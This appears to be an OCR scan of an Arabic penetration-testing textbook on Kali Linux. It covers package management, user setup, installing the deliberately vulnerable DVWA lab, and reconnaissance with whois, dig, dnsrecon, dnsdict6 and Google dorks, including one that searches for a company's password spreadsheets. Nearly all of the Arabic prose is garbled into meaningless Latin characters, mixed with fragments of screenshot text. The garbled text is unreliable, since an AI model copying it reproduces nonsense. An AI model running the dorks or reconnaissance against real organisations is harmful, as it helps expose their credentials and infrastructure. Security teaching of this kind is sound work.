gl dapiull e alogleoll gang gMhiw)l dilogy plidll Aoy pAATWT
azall jlaall

:Web Applications Analysis wugll alduhi Julai =

b alp@ill JUiuwlg aad oa paiiwi il algall gle ggai
A& JUA laaph pis wgw algalll oda phheog wugll alpapuw
aliall

:Password Attacks juull dold olc Giloaall =

brute force dasilell 6gdll aloaay pgdi il algrll glc ggai

offline Jauw jull dold oAT daloaag
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:Wireless Attacks dialunlll alauull ¢lc Gloadll =

o8 63gagoll alpill Jusiml oa dorviwall algaVl gle ggai
alpei JAoiwl algalVl dalvyl 802.11 ddlwll alduill Jgigip

RFID aily&i g cigighll

:Exploitation Tools JilgiwVl cilgal =

ol oill alpetll Jueiwl gd doriiwall algall gle ggai
arall plhill ga laaliis|

:Sniffing and Spoofing duniaull Jlhaiilg cuniill =

oja Jaaei aglal g d4uill ga alilull pja hidil] algal gle ggai
dnAaddl Jdil Jal go aliludl

: Reverse Engineering duwuiell dwaiall =
dipgall alaopll Julai algalg duubell dwaiall aglal gle ggai
:Forensics qiliall Juaill =

alduhig alily Jilaig didljo od doritall algall gl ST
LAl
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:Reporting Tools pijldill alac] cilgai =

ai oill clogleall (e pydi alacl od doritwall cilgall le sgai
Gliavl jLial ddoc JUA layle Jgnall

:System Services pliaill aloai =

rapw Jio (ol Glori Jiedi clollg Jiedi l@liA o g4y

aliludl aclgd papw g (il

LVl Juouiill plAi gl go A8l afly J4uin oJIAI1 éuaai aay
ddiho doll alipaill glg diwi éaal oa loa aldyhillg
iouloill plaituwl el pilg

apt-get update

:~# apt-get update
Get:1 http://http.kali.org sana InRelease [20.3 kB]
Get:2 http://security.kali.org sana/updates InRelease [11.9 kB]
Get:3 http://http.kali.org sana/main Sources [9,090 kB]
Ign http://http.kali.org sana/contrib Translation-en US

Ign http://http.kali.org sana/contrib Translation-en

Ign http://security.kali.org sana/updates/contrib Translation-en US
Ign http://http.kali.org sana/main Translation-en US

Ign http://security.kali.org sana/updates/contrib Translation-en
Ign http://http.kali.org sana/main Translation-en
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;g pja 8)la] plhi

packages gouli dlndio alduhi pja olc olAill IA& yoio)
laiog padiwall Jud o laillj] gl launii aiy gl G40y pjall oda
(édlill olhi aljadg (o aju o laiog (Glyiadl jLial diloc pcyy Lo
Jio allniVl Jio polaoll pca’d

(Skype, instant messaging and secure e-mail)

(OpenOffice) Jio dwnill allaiiwall gea gl

paiiwall Judi o lalioni aiyg aleagimo od @UAT piy pjall

:dpkg gl pja 6jlal plhA
dpkg - Debian Package Management System
ojn wlh gl dljl gl cuuniil paiiy dpkg Joll
Jals plhill (oa 83gagall algalll J4 dclihl padiuy (ollill joll
jni walo
apkg -1 > list.txt

LAt pi Ad diteo 8Ia cild 13] dajeal paiiuy olLill jollig

apkg -1 | grep <tool name>
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J_DSJI . ".... ..."... 5 I." (é\JL.I.—II IS 3 II
apkg -/

SIS slc lapnil pi il alaghll deild e gag

~# dpkg -1
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none) /Reinst-required (Status,Err: uppercase=bad)
Version Architecture Description

A traceroute tool that can run wi
.2.1-1kali4 amd64 Password dictionary attack tool f
.6.37-3+bl amd64 query and manipulate user account
.10-1kali5 amd64 A simple VoIP corporate directory
.2.52-2 amd64 Access control list utilities
.113+nmu3 all add and remove users and groups
.14.0-2 all default icon theme of GNOME
-1 amd64 Advanced Forensics Format Library
all Adobe Glyph List For New Fonts
-0~rc3- amd64 wireless WEP/WPA cracking utiliti
-1 amd64 Console based ALSA utilities for
amd64 next-generation scanning tool for
.20141028.1 amd64 Processor microcode firmware for
amd64 cron-like program that doesn't go
amd64 Enumerate usernames on systems wi

acccheck
accountsservic
ace-voip

acl

adduser
adwaita-icon-t
afflib-tools
aglfn
aircrack-ng
alsa-tools
amap
amd64-microcod
anacron
apache-users

=5
3
P
.28
4

74
7
1
.0
4
2

NNNUORFRPRFRPRFRPLOWWOWWNFR,POO O

:apt pladiwl
Advanced Packaging Tools (APT) J jlniil oa Apt
qniig gxgiwall ga dnlly pgdi oaa dpkg dathgl glugi oag

@ty pod gl diglhaall dojal
agyjgill Jol4l upgrade dud)i dilag) plidll apt paiiwi i 4aug
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-apt doylei alolaiiul gaey ga Ll
dojall ailalo Jolji 6ale] Jal go prdiwi :apt-get update =
olag sources.list walo ga wapedll l@jano go dulall
olidll Jué laily padiwi i way (Cuaaill dilac) dayleill

upgrade or dist-upgrade dird}ill diloo]

ojnll 4 (o dawi éaal wuniil paiii :apt-get upgrade =
dlo oa dayeall lnall JUs go elldg plaill ole dmniall

sources.list

awi 32g) ¥ @il pjall (aia gl poiy pgdi V dudjill dylac
Lapuo 63gago e 63433 pja (T wuniiy pgdi Vg Latio 63412

dlogloo yajel paAiii :apt-cache show <package name> =
.diteo doja (¢
doja wadal oAl :apt-get remove <package name> =

¢ ...on

lc diniall pjall J4 didyil oAb :apt-get dist-upgrade =
plhill olc yo 6jgaaoall pjall dllju pgdig plAill
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: L Jlioll oa o4 poll guaiy doglei o JAT padiwi gl jhoy
apt-get update && apt-get upgrade -y && apt-get dist-upgrade -y

pjall Ladn pf lAT1dyi pf pjall &yraiy pgdy caguw joll A&
.0jgadall

:ginl (1S Jaeig alac]
:ddlill jgoVl JoAii allyaeill jAe
root password juull dald i dalc| =
non-root user piiiwo daln| =

._sdlﬁ aliloc gipi =

:Jjwi dols hin 6alc]
oiy root password guwlwll pariuwall dualjiall pull dald poil

ddlill dogloill JUA o

passwd root

U Jall ga el 6xgaall pull dold JAS] dio wlhpw

:~# passwd root
Enter new UNIX password:

Retype new UNIX password:
passwd: password updated successfully
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:non-root user paidiuo dalal

Jogil aglll alnllnl aliag oI5 plhi (gd alduyhill o vaell
doylei (._.giJ lhA olaaiiul (._.gi JV ph4 jol ga agyll abnllng Joell

daday avhall her gag plhill @ia gl 81330 Ay gl G40y
non-root user (ilc paituwo alnllng Jooll paituall
s L oMl JUA go agyl alialln elloy ¥ A padiwo (GlA JAoy

adduser nameuser

:~# adduser noroot
Adding user “noroot' ...
Adding new group "noroot' (1003)
Adding new user “noroot' (1002) with group "noroot'
Creating home directory ~/home/noroot'
Copying files from " /etc/skel'
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for noroot
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n]

:ollS aldoc gijuai

Ig\“ﬁ olhi od aldoell gipui le achni ol jgoll e
Jniiy ad virtual machine paAiwi loyic =

VM's software driver package
Guest Additions (VirtualBox) or VMware Tools (VMware)
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gV culi gopd pan JLiAl ad virtual machine (§lay pgdli loaic =

gl 9g&i culill paall gd gapéll oJ) cilaloll dala] diloc
:llill polI JAA o BleahBit cuniiy pd =

~#% apt-get insta
Reading package lists... Done

Building dependency tree
Reading state information...

Jo didgall alalell adaig yapdll dalwo pjaiy pgds (Guhill [Aa&
g alMauwll calhiig aipiivl pan’ jgjlig jragall cadaig 64lAll
plAill gupu’i ode acluy 1Aag diygpa pell alalall

:guiiyd oIl ole dralal algal qunii
alini gl Jaitoll go diflg algaVl go aaell gle g1 oIS gl pé)
aliy o GVl jLial dlac dylled 8alyjl dualal algal wyniil
(oll8 le daln] algal quniil Gph 8¢ Aagy

apt-get douloi plaail =

GitHub repository oll Jangll =

algall pliall wrniill =
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ol Kali Linux repository L5 gxgiuo o 63gagall algaVl J4
dayleill Jua go laynii
apt-get install

18y ongall alduhill g

ol Jaly daull paiTui command-line tool sag :apt-file

dojall aligine yayey ell pouni sag APT packaging system
Layla gl lannii gga

Ji9ig themes j1190 pAATwall 2o :gnome-tweak-tool =
Li9all aaw alalac]

oA janoll dagido aldphi dcgoao gag :OpenOffice =
dunill alaituwell 8jlalg clonill

Gipb gc gol Jady alilll wadny pgdi dyloa 611 gag :scrub =
alill Gga aliall 8aley JAdl 6ac pladiwl
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.cardll gl Guhi

pAAT) «agw Damn Vulnerable Web Application (DVWA)

wle dinan go dic aaylly pgdi gl ghoyg wra wyg Guhis

http://www.dvwa.co.uk CLi}ii\l

alyei ole gy Jau ponog PHP/MySQL cug Guhi ga DVWA
dpcys diy o8 pailgalg paijlao jUisy dloall gapine rcluyl
o dyloall alilac paa gle cugll gygho Acly gag diolg

gl alduhi

pgdi gl elile ellAl VM (ol jagio pe geubh Jady DVWA gilg
dilac .lalaly Joou DVWA alacli pgdi of cly dnlAll VM (§lAg
iVl elc DVWA gdgo (olc dagpuo Jujitllg cirdyill

wlc aieini JAA o DVMA paiiwi cagu qlidll A& ga galpel

127.0.0.1 gl http://llocalhost dhuulgr Kali VM

&I VM guai gl oll5 plihig DVWA (o M4 dalaiwl pgdi cagu

go Jldiw ollillig 8a3alg VM (sl dalini cgult J4 cllai cagu elil
plAill jalno plaAdiul
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http://www.dvwa.co.uk/
http://localhost/

raaall cugll Guhi Jyjid

hiy Aag wia wig Guhid DVWA cniil ga ddlill alghill
aiyiivl Jlaidl didoy @18 gi go A8 cllAl cipiiyl Jlail

dylill cilghAll guil DVWA wyniil

Jonoll aloll hen déy pd =
= B

CVWA-1.9 DVWA-1.9.zip

dldiy pdg dvwa oll DVWA-1.0.9.zip (o raoll gwl poiy od =
Jlwaadl (o]
var/www/html

I|§| var | Ownawnw htrnLI

E—
lures
L hitml

dylill doyleill JUA go dmiln Alaall cliach pd =

~# chmod -R 755 /fvar/www/html/dvwa/
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dulill douleill olaafwli  Apache2 Joui =

:~# service apacheZ start

MySQL Jou =

sql start

dulill daleill plaatwl dvwa J alily éacld (Glay od =
mysql -u root -p

enter honl g ddla @4yl pull dald e ellluy loaicg enter honl

Enter password:

Welcome to the MySQL monitor. Commands end with ; or \g.
our MySQL connection id is 43

Server version: 5.5.46-0+deb8ul (Debian)

Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its

affiliates. Other names may be trademarks of their respective

"or '\h' for help. Type '\c' to clear the current input statement.

ddlill doyletll wisl of

create database dvwa:;

enter hanlg exit (il
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(L glgiell wislg aaniall aial =
127.0.0.1/dvwa
admin gAljiall padtwall paul pladtwly Jgaall Jawiy od =
password dialjiaVl pull dalag

Search

42 ) @ 127.0.0.1/dvwafindex.php ve

Alost Visited ¥ “Offenswe Security \I(ali Linux \Kali Docs h‘t.l(aLi Tools * Exploit-DB ‘Aircrack—ng

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQOL Injection (Blind)

XSS (Reflected)

XSS (Stored)

DVWA Security

PHP Info

About

Logout

Welcome to Damn Vulnerable Web Application!

Damn Yulnerable Web Application (DVWA) is a PHP/MySGQL web application that is damn vulnerable. Its main
goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web
developers better understand the processes of securing web applications and to aid both students & teachers to
learn about web application security in a controlled class room environment

The aim of DVWA is to practice some of the most common web vulnerability, with various difficultly
levels, with a simple straightforward interface

General Instructions

It is up to the user how they approach DVWA. Either by working through every module at a fixed level, or
selecting any module and working up to reach the highest level they can before moving onto the next one. There
is not a fixed object to complete a module; however users should feel that they have successfully exploited the
system as best as they possible could by using that particular vulnerability

Flease note, there are both documented and undocumented vulnerability with this software. This is
intentional. You are encouraged to try and discover as many issues as possible.

DWWA also includes a Web Application Firewall (WAF), PHPIDS, which can be enabled at any stage to further
increase the difficulty. This will demonstrate how adding another layer of security may block certain malicious
actions. Mote, there are also various public methods at bypassing these protections (so this can be see an as
extension for more advance users)!

There is a help button at the bottom of each page, which allows you to view hints & tips for that vulnerability.
There are also additional links for further background reading, which relates to that security issue.

WARNING!

Create/setup Database ¢lc honlli ad setup daild (jo

JaVl LAyl b laolaaim) alily 8acld Jal @Gl pgdil
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Home

Instructions

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

XSS (Reflected)

XSS (Stored)

DVWA Security

PHP Info

About

Logout

Database Setup

Click on the 'Create / Reset Database' button below to create or reset your database.

If you get an error make sure you have the correct user credentials in: fwar/www/html/dvwa/config

/config.inc.php

If the database already exists, it will be cleared and the data will be reset.

You can also use this to reset the administrator credentials ("admin J// password”) at any stage.

Setup Check

Clperating system: *nix
Backend database: MySQL
PHP version: 5.6.14 0+deh8u1

Web Server SERVER_NAME: 127.0.0.1
PHP function display_errors: Disabled
PHP function safe_mode: Disabled

PHP function allow_url_include: Disabled
PHP function allow_url_fopen: Enabled
PHP function magic_guotes_gpc: Disabled
PHP module php-gd: Missing
reCAPTCHA key: Missing

Writable folder fvarfwww/html/dvwalhackable/uploads/. No
Writable file fvarfwww/html/dvwalexternal/phpids/0. 6/Ai/IDStmp/phpids_log.txt: No

Status in red, indicate there will be an issue when trying to complete some modules.

| Create / Reset Database |

Create / Reset Database |

Database has been creatad.

‘users' table was created.

Data inserted into 'users' tahle.
‘gquestbook’ table was created.

Data inserted into 'guesthoolk’ table.

Setup successfull
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Ll Jadul oa Lab low jisl DVWA Security daildll (o
submit jj olc honl ai

Home |  DVWA Security @

Instructions |

Setup / Reset DB | Security Level

Security level is currently: low.
Brute Force

You can set the security level to low, medium, high or impossible. The security level changes the vulnerability

Command Injection level of DWWA:

CSRF

| 1. Low - This security level is completely vulnerable and has no security measures at all. It's use is to be

| as an example of how web application vulnerakilities manifest through bad coding practices and to serve
as a platform to teach or learn basic exploitation techniques.

| 2. Medium - This setting is mainly to give an example to the user of bad security practices, where the

| developer has tried but failed to secure an application. It also acts as a challenge to users to refine their

File Inclusion
File Upload
Insecure CAPTCHA

exploitation techniques.

3. High - This option is an extension to the medium difficulty, with a mixture of harder or alternative bad
practices to attempt to secure the code. The vulnerability may not allow the same extent of the
exploitation, similar in various Capture The Flags (CTFs) competitions.

4. Impossible - This level should be secure against all vulnerabilities. It is used to compare the vulnerable
source code to the secure source code.

Priority to DVWA v1.9, this level was known as 'high'.

SQL Injection

SQOL Injection (Blind)
XSS (Reflected)

XSS (Stored)

| Low ¥ || Submit |

gulitl ll8 aa GliaVl jluisl algal pladiw jala cil il
DVWA ugll (Guhi doalaol

gc adgill 1@y a)i 8g0 J5 (oa VW Gulely pgdi gl elyle g o
pitw ollillig suspend VM waldyl dilooy plidll clidoy J1 Jo=ll
GAle] dilegy cod 3] o] latle Jooi i @il dllall gl Klaall
diy alach pgdil ddiluwll alghAll ghil elile wala shut down VM

Sl 810 Joell
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'S 2R R R
-

:Jundll 1A@ ¢gino

MMl duulwll ggalioll =
pMiwoll dalogloo goy =
gl pap ole cajeill =
(Sl dndl abiadlyiwl

Al Ert] Entll] et -

I'm a hacker, but I'm the good kind of hackers. And
/'ve never been a criminal
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:doAdo
aa Ghiayl juial dilac g @y plidll any dodo Jgi ga gllhiwll
adg go %75 (o JHAl ooy GV pito papuw gl gl daui gl
dloall dajeog warall waliiislg gMhiwl oa (GlHAMI jUiAl dilac
dilailly ¢3g7 ol alpeill ge dnllg waall plhill glc Jooi (ol
JAeiwVl diloel
elhiwyl diloc go glegi Aagy

Passive reconnaissance (Jlea poll ¢l =

active reconnaissance Jleall gMlhiw)l =
alilyll Julai Jis go piy Jled pall pilaiul gla ple JSiy
aldn ga gl @aall gdgall alhan o4 agido J4uin épagioll
VGVl pivo gla alogleall odal Jgngll aic « gAYl cujiiyl
dyloall anlaw o4 Jauf Jleal dlia ggsy glg warall go Jelaiy

o4l Gyl pisal Taa pao Jlea pell gllhiwl arall dnlall

wall gle ey
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Jonii gillg gMhimll galio (gle wapeii cagum Jndll A& oa
:dulill jgoVI
MMl duulwll galioll =

Open-source intelligence dagiaoll aljuAiwll jalno =

(OSINT)
Jlwoll dhyja oajg DNS (Domain name service) gilhiwl =

IPv4 and IPv6 digiell solAi glc a)oillg route mapping
.pAATall alogleo (glc Jgnall =
alold) daild Juduid Jal go groaiiwall aladan gle cayeill =
.dlaiall pull

FAULZYOTR drualwVl galioll
dilaoy extll J1d palaall @y pgdy gl vy dilac gl ga glhiwl
gllhiwl oJ] gMhiw)l dloc pwdig waall gl gledll pgaall
Jelai) Jlea gllhiwlg (waall go pubo Jelai aagy V) Jlea pe

(wall go yrilio
&y pld Jleal i Jiawi aiy V Jlea peoll gllhiwyl dilac JuA
glgic g anyl Jio) wrally dnlall diloall alaw gé palaall

(g€ andl djro pe carall Jioyl
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wleg carall dapnll ol jap Jled pell gMhiwll gla ple JAuy
gy gls wrall g aijiiyly spagioll alogleall gaag grakhgall
aalsyg cipiivl pe waall ddpdll gdgo aaniy Gliavl pito
pgi) o4l 83gagall ailriiwall Jroniy pgdyg dalitall alaanll
Lallaig laiwlja

auo dylae) pgd) §lHAVI pito gla Jleall gllhiwl diloc g4 Lol
jlaa @iy gl iy gl ghoy lAag waall dauidl oa alijgll (paa gl
hldil] piy i G4oyg warall dauill ga diloall plhAi o4 jIaiVl

ge Al paaiug gi 4oy Allg GVl piday galall IP glgic
dijga

go Jad sl gaay pgdi gl elile way wyine Ghial pito anil

pe daiVl Jlea poll gllhiwdl dloc JAA (o daraall alogleall
diloall plAi J1d go elaliisl palio go Jldi Jlea pell gllaiwyl

arall ga

:dagidoll aljbAaiwMl jalno

go alogleall gaa s@ palaoll lay pgéy 8ghi gl

Open-source intelligence or OSINT
Javug dagiaoll dolell jalnall o clogleall graa’ jjc 6jlic gag
LN o (pla
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pAn jol ga lallaig dagidall jalnoll o cilogleoll gaa dilac
héa énail caguw il qlidll 13a ga llol4 alawd j4a0) Vg rdeog

gl jgoll (aey e

axall dpidl Qifel oaljeall gdgall =

dealill dycyall aldpill oleg duulwll d4pitll ole dole 8phai =
Lal

oldjig pay dnlall aMogVl (uglic g Jrabhgall clowl dajeo =
padilga

0028 (sa Acluy 3@ gV dSpilly dnlall delllg daldill dajeo =
dicloinyl dwaiall

dqpill pao Joleii (il aleyall gugaiog clipill dajeo =
aarall

:ailogleall gaal padiwi gl g4y diilaog 6pagio Al jalno

Google and Bing (Jio &l al4djao =
wle Jgnall dnls ény alathino Jass gl gloy Gliayl pido
lay wep ol alogleall
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company name" + password filetype:xIs"

Jalaa s gl gaou il éjaal Jaas ddilull 6jlell olaail

rahgally dnlall pull alols gle ggai Juwl

Google dorks ¢ljga Lyl qawi ¢l alalhno
www.exploit-db.com/google-dorks

Jauiy Jooi alogleo e éng gMhiwl 8lal gle gau oAl
qliall A& ga laay laic ¢aaiiw Maltego gag oA4yilogig]

Yandex www.yandex.com ga dilcla ¢ingl cildjao ji4l o aalg

dijil&iyl laio gl alel dny diloor pouuyg euwg) ¢y djao gag
dnnio dlogleo (e dnull alla gé Jégeé o 4l Jlea gag

alohioll gélgog dylall gélgallg dogaall gdlgall =

annall dapidl ge alogleo e il cathgill gélgo

cach:url ollill &l jol JAA (o anje Jh0y ¢sdiall gginall =
.Jege daull djro (o

dny alfjpo dac o Qdliill dijldog goqy pgdi (sdll gdlgall =

Zuula www.zuula.com LJ_LD

S grabhgolls dalall gi warall d4pilly dalall aligaoll =
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http://www.exploit-db.com/google-dorks
http://www.exploit-db.com/google-dorks
http://www.yandex.com/
http://www.zuula.com/

Linkeln, Facebook and ) Jio gclainVl Jnlgill albuw =
(Twitter
Jc alogleo Jogig DNS (jc &1y dilogy pgdi (il gdlgoll =

Jio papull
DNSstuff www.dnsstuff.com

ServerSniff www.serversniff.com
Netcraft www.netcraft.com

lAag dauill 6jaal jge alogleo (jods :shodan ¢l ¢ljao =

a1 dnlall alygill dayeal jlaall ge dal palaall Aoy

ragadl (odl jluuoll puujg DNS gillhiuwul

DNS reconnaissance and route mapping

daliall ailogleall jalno o wiall glc wayeilli pgdi gl Aol
LAl IP address (jlgic gc dlogleo dajeo @ dulill 6ghilla
route caiall jjug eliy jluallg caaalls

clowl Jugai dilac (Jo§i doa @ DNS: domain name service
IP address lay dnlAll diodpl (pgliell o] cijiiVl olc edlgall
Logall elllo ga jo wayyeis pgd) DNS gMlhiwl

IP addresses Jglic dcgaao ¢lllo ga o gi
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http://www.dnsstuff.com/
http://www.serversniff.com/
http://www.netcraft.com/

dnnAiall IP jJuglicg duleall jrogall clowi wajel DNS clogleo
wazallg palaoll gl Gliayl pito gy jluallg carall

alogleoll 03@ (aeig odja JAuiu dlled (gai alogleall 0dd
alogleall go AVl yaelllg dagido jalno go gilao JAuy bjagio
DNS registrars ciMaw Jio &lli (i atle Jgnall oy

gl doyad 9gai gl Jaoy layle Jnai il alogleall gl djai gl qiay
Jo HAT pladiwl elle way ellAl dllno alogleo Jgai ia gi dndli
Jgnall Ailiill dehldo af (jog cilogleall goa dilagy plidll 8lal

dado 3§T ajhuw pladiwl ga dilaoll oday plidll ddiph Jaal
olaiiw Jlio yajel cagu gAtilogil J4uin alogleall gaa
Qlidll 3@ go GV Jna oa nmap 8lal go alin&u

:WHOIS
dpulwll alogleall yae) dajeo o IP glgic ge énull dgha gl
(Ll Jauill o4 Las whois poll JMA o gégall e
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:~# whois google.com
Whois Server Version 2.0
Domain names in the .com and .net domains can now be registered

with many different competing registrars. Go to http://www.internic.net
for detailed information.

Aborting search 50 records found
Server Name: GOOGLE.COM.AFRICANBATS.ORG
Registrar: TUCOWS DOMAINS INC.

Whois Server: whois.tucows.com
Referral URL: http://www.tucowsdomains.com

Server Name: GOOGLE.COM.ANGRYPIRATES.COM
IP Address: 8.8.8.8

Registrar: NAME.COM, INC.

Whois Server: whois.name.com

Referral URL: http://www.name.com

Server Name: GOOGLE.COM.AR
Registrar: ENOM, INC.
Whois Server: whois.enom.com

ailga pldjlg clowlg dralyen alogleo Aei dagleill oda dayii
dicloiall dusiall pgad gd Aclui Il 4oy alogleall oidg
dilooy pgdi clijiiVl dapn lc diilaoll gdlgall (o Ajaell Aagy

IP glgic Jiawiy pgdy gdgall j4lg oAtilogil Jauuy whois lookup
il gd ely galall
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:DNS gMhiwl
DNS: Domain Name System

IP Juglic ol gélgall clawl Jigai) pgdi dejgo alily éiclé gag
i10)

:~# dig google.com

; <<>> DiG 9.9.5-9+deb8ud-Debian <<>> google.com
; global options: +cmd
; Got answer:
;5 ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33572
; flags: gqr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: @, ADDITIONAL: 1

;5 OPT PSEUDOSECTION:

; EDNS: version: 0, flags:; udp: 4000
;5 QUESTION SECTION:

;google.com. IN

;; ANSWER SECTION:
google.com. 88 IN 216.58.210.206

;5 Query time: 0 msec

;; SERVER: 192.168.1.10#53(192.168.1.10)
;5 WHEN: Mon Jan 04 01:23:59 EST 2016

;3 MSG SIZE rcvd: 55

olidll DNS dlogleo paiiuy gl J4oy palaall gl Gliavl pito
:dlill jgoVI gaaly
(Hog) clowl dayeal brute-force attack dadiloll 6gdll pgaa =
«axally dhiijo 63532
caguw aa allh gV @Glhill doajiy aomy DNS gapuw gla 13] =
A@g ddalal d4usul dlniall 8j@ail juglicg clowl Jogs
alogleo cuils 13] . Joirall w@rall gle il Jawdl go Joa
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dauull DNS dalogleo (jc dlgjeo ji¢ (drajlall) dolell DNS
gc candy gl gaoy aldlhill payio gla (dylalal) dalAll
AR dapadl o 6jmaVl Juglicg clowl e clogleo
IDS(Intruder Detection System) Jahill cais éjanal J4
Jani IPS(Intruder Protection System) Jahill gio sjaal g
S aldlhill pajio alid 13] jIAil

gl (FTP Jio) ailyely dilno (g4i gl Jhay il calorall sl =
A g lay pAaill ghoy (ol

dedjo poll aloaill gl gehla Jadu 6aeall aloaill alay] =

unpatched servers
Jdillg doaAll (jc ailogleo (Jogqy :Service records (SRV) =

oalaoll aouy 13a aloaill dieall gi wyijillg ¢ijgullg

Hg aaguall LTl

DomainKeys ldentified Mail (DKIM) =
Sender Policy Framework (SPF)

spam e-mail dacjoll GMogVl 08Tl paATT Glliuill odd

gihiuy palaall gla dagpeo allauwll odd ails Jh adg

droal ili limg alohiall gdl go Ji41 digd dilaall gl dajeo
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yiliy U pgaall 3@ gV drcloiaVl dwaiall pgad plaiiul
ugdll dloall

go Joei algal glacyy yubiyl plhig jgaisg Juedii plhi go J4

g jgailg pli sa nslookup Jio command-line jolgVl jhu JAA
guaidl ol qa dig

gl (od g pap go Joleill grhii algaVl oda gla cawlll
.dllea ggail dulclai alila] wulhiig adgll

DNS alogleal j)4iall wlhll pgdil dnnio algal 8321 Agjo oIS
Qg l@oladiwl ayT o0l 8131 gl (o] auiii gl wag galg warall go
go Jlailll paiiwoll cijiiVl Jgigip dawi go dddlgio ggai
IP4 or IP6 waralll

:IP4
lario) go dlniall dj@aVl caypeil padiuwy A)é od) cajed gag
IP4 olc oito cuipiiVl Ll J(cuipiiVl @4y dole gl dnla dAwd ga

:DNS ¢Mlhiwl dilac oa Achwi algal 8ac olc g2 (od15

Gl ldai g <l o 350 L)




O PRGN EN P UNEVEN REE

Js¥) Juall s dnsrecon oSls DNS dnsenum
& O (S 4l 5 Allal) 438 55 ga Caan dnsmap
Metasploit () sl JSi b jpaai dnsrecon

Framework

hxall (e all Jias (e 2aay 2
il 8l Aibis Al 5 aila slaa e dnstracer
il s3a Cayai Al DNS

anis o gty el maian ol miie 58 g
B ‘é-‘sm‘ T “
Bstate e IP C¥lae Gualy o sy
A glaa IR (e Ba2na lina 93 elaud Fierce
358 a sangn aladll Jglag & (Slaill das 3
Claglae Lo Jpanll dedll

calhall J4 gl go A5lill fierce (goaiiumy Glyiall gpito pheo

dnsenum and Jio guwgl ailgal pladiwl aiy of l@dyyei o didooll
danll go daja guolig alilull o de4 pal aylgil dnsrecon
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DNS &ny Jauw algil dnsrecon plaATul jakhy oLl Jaumll
SRV aMaw Jal go yanio dg SJL=o

:~# dnsrecon -d google.com
[*] Performing General Enumeration of Domain: google.com
DNSSEC is not configured for google.com
] SOA ns4.google.com 216.239.38.10
] NS nsl.google.com 216.239.32.10
1 NS ns4.google.com 216.239.38.10
] NS ns2.google.com 216.239.34.10
] NS ns3.google.com 216.239.36.10
] MX aspmx.l.google.com 64.233.166.27
] MX altl.aspmx.l.google.com 64.233.164.27
] MX altd.aspmx.l.google.com 173.194.72.27
] MX alt3.aspmx.l.google.com 64.233.189.27
1 MX alt2.aspmx.l.google.com 74.125.68.27
]
1
]
]
]
]
]
]
]

*

2
B
+
¥
4

*

¢ MX aspmx.l.google.com 2a00:1450:400c :c02::
MX altl.aspmx.l.google.com 2a00:1450:4010:
MX altd.aspmx.l.google.com 2404:6800:4008:
MX alt3.aspmx.l.google.com 2404:6800:4008:
MX alt2.aspmx.l.google.com 2404:6800:4003:
A google.com 216.58.210.206
AAAA google.com 2a00:1450:4006:803: :200e
TXT google.com v=spfl include: spf.google.

Enumerating SRV Records

*
*
.

+

¥
¥
B
&

[
[
|
[
|
|
|
[
[
[
|
[
|
[
|
[
[
[
[

SOA Jaw lc Jgnmally §GlyiaVl pitel aouy DNSrecon
mail liogVl Jali 6jaalg name server (NS) japull puulg
Sender plaatwl dluwyell payuall alliogl g exchanger (MX)

pMAiwoll IP (uglic Jlaog Policy Framework (SPF)

:IPv6
oiy (ugliell oda g4l gugliell go 18 Jlaoy pouy IPV4 gl ag)
oladiwl gle lipay 1aag ple ao bole l@d)aiul

NAT (Network Address Translation)
DHCP (Dynamic Host Configuration Protocol)
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Jlao 6abijg grwnil IPv6 alay] ai dalioll (ugliell yac 6abijl
(Hgliall

g4l aipiivl guglic o %5 (o Jdl digic ga paiiuy IPv6 Ll
go Joleill zoimo Jgii gl way Glial pitadg ayljis doladiul
digiell jo 6xaall diidill oda

ey [Aag bits 128 Jgh lal warallg janall (glic IPV6 o4
JSlitall gaer aaagl paall od 8:bjll odd, 400 (lgic 12872
JUA (gula’ (ol &yl algal pladiwl aic dnlag (§lyiayl (SHiAl
e galg. Jooi il alpapudl ge &l dalioll gugliell Jlao
olaatwl yic dnlag caliniqyl diloc Jauwi IPv6 (ailnA

6j@aVl wayjeil ICMPv6(Internet Control Message Protocol)
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QL] IPV6 o @l diloey el J1d jgoll Ay eljai gl oy
-yl Lill
Qg Al UiVl algal lay pgdi IPVE od dalito caillhg clia =
IPv4 or go Jooll 813Ul dialln (o AALEll GliAVl pide glc
dhlidall alauidl ga gl IPv6
ol giay waall dapill gla aaa Jgigip piey Lwi IPvE U
alilll glada ol] 381 13ag slacyl od clhi] glc ggai
odd go Joleill alaeiwll Gliiall pito gl way il doaall
aliludl
Jahi gio dalilg dyli gljaa el (sgai dogrdll calipidl
V illg (firewalls, IDS, and IPS) Jahill waLiiisl dakhilg
IPv6 plaiwl Glyiall pidal G40y Al IPV6 calsiisl euniui
Jaltig carall dawidl go (gdio Jlnil glc hlaall tunnels
o0 J41 d4pidll go cilogleall

plh90) IPV6 go Jolaill cijgh clgal 8ac gle (g1 oIS pliAi
(IPv6 pcai gl cianl nmap Jio adeall ¢yl algal
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algalll oda jaer apey (oLl Jgaall

Janall dicpall alitogall alaei
|A] IPv4 and IPv6 (glic olc

ogdll plaaily ¢lldg Giaag

gl walo (glc aloicyl damlell
lay 811 nigji iy dafld
DNS J duuAc slaei diloe pgdy dnsrevenumé

IPv6 (glic (gnhey]

(U Jamlly jakhy dnsdict6 doyleill Aaii dayli

rootfkali:~# dnsdictf google.com

Starting DNS enumeration work on google.com.

Starting enumerating google.com. - creating 8 threads for 798 words...
Estimated time to completion: 1 to 2 minutes

www .google.com. == 2607 :fBb0:400b:807::1012

ipvE.google.com. == 2607 :f8b0:400b:B0b::1012

mail .google.com. == 2607 :f8b0:400b:BR6::1016

blog.google.com. == 2607 :f8b0:4001:c00;: ::bf
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caaadll (ol jluaoll daaps pauj

M1 jluoll digp pout aglal plaatwl Lisle piy jluall dhypa o)
JAY jlan o IP packet doja aAluui

Jdiii il IP packet doja (oa time to live (TTL) Jda pladtwly
